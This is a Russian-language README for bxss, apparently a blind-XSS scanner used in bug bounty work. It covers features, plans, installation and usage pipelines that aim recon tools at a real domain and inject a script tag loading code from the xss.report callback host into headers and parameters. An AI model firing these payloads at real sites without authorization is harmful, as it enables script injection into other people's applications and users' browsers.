Bxss - Сканер Blind XSS

🚀 Описание

Bxss — это высокопроизводительный сканер Blind XSS, автоматизирующий обнаружение слепых XSS-уязвимостей в веб-приложениях.

✨ Возможности

• Внедряет полезные нагрузки Blind XSS в пользовательские заголовки и параметры
• Поддерживает несколько HTTP-методов (PUT, POST, GET, OPTIONS)
• Высокоскоростное сканирование с поддержкой параллелизма
• Легко объединяется с другими инструментами
• Простая установка и использование

🧠 В разработке

Мы активно работаем над интеграцией пула воркеров на основе Chromium для повышения производительности bxss на устройствах с низкой производительностью.

Эта функция позволит выгружать ресурсоёмкие задачи, такие как обнаружение DOM-based XSS или проверка полезной нагрузки после срабатывания, на лёгкие экземпляры Chromium, управляемые через пул. Распределяя нагрузку между несколькими контекстами безголового браузера контролируемым и эффективным образом, bxss останется отзывчивым и удобным даже на машинах с низкими характеристиками.

Это сделает bxss не только мощным, но и высокодоступным, независимо от системных ограничений.

✅ Планы

• Пул воркеров на основе Chromium для взаимодействия с DOM и визуальной проверки
• Опциональный вывод отчётов в HTML/JSON
• Добавить поддержку настройки полезных нагрузок для нескольких платформ (XSS Hunter, Interactsh и т.д.)
• Поддержка прокси
• Импорт пользовательских запросов

🧪 Экспериментальные функции

• Режим трассировки (экспериментальный)

📦 Установка

go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest

⚙️ Аргументы

🎬 Демонстрация

📝 Что такое режим трассировки?

Режим трассировки — это экспериментальная функция, которая позволяет отследить, где сработал BlindXSS. Некоторые сторонние платформы BlindXSS, такие как https://xss.report/, позволяют задавать пользовательские параметры в ваших полезных нагрузках. Это позволяет отследить, где сработал BlindXSS. Например, если вы укажете параметр url=https://somehost.com в вашей полезной нагрузке, инструмент будет использовать полезную нагрузку

'"><script src=https://xss.report/c/username?url=https://somehost.com></script>'

для тестирования, и при срабатывании вы сможете проверить DOM и увидеть, с какого хоста сработал BlindXSS.

Убедитесь, что при назначении пользовательских параметров в вашей панели управления вы указываете url={LINK}, чтобы bxss мог автоматически заменять {LINK} на фактический URL.

🔥 Примеры использования

Параметры

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-t

Добавить к параметрам

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-t

И заголовки, и параметры

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

Заголовок X-Forwarded-For

subfinder -d uber.com \
| gau \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "X-Forwarded-For"

Пользовательские заголовки и параметры

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

Google Dorks с Dorki

curl -X GET -H "Authorization: Bearer <Token>" \
-H "X-Secret-Key: <Secret>" \
https://dorki.attaxa.com/api/search?q=site:example.com -s \
| jq -r .[][].url \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>'

Пользовательские заголовки и параметры с лимитом запросов

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \ 
-t \
-rl 10

Для продвинутого поиска уязвимостей с помощью dorking посетите Dorki и зарегистрируйтесь сегодня!

☕ Поддержите проект

Если вы получили вознаграждение с помощью этого инструмента, подумайте о поддержке — купите мне кофе!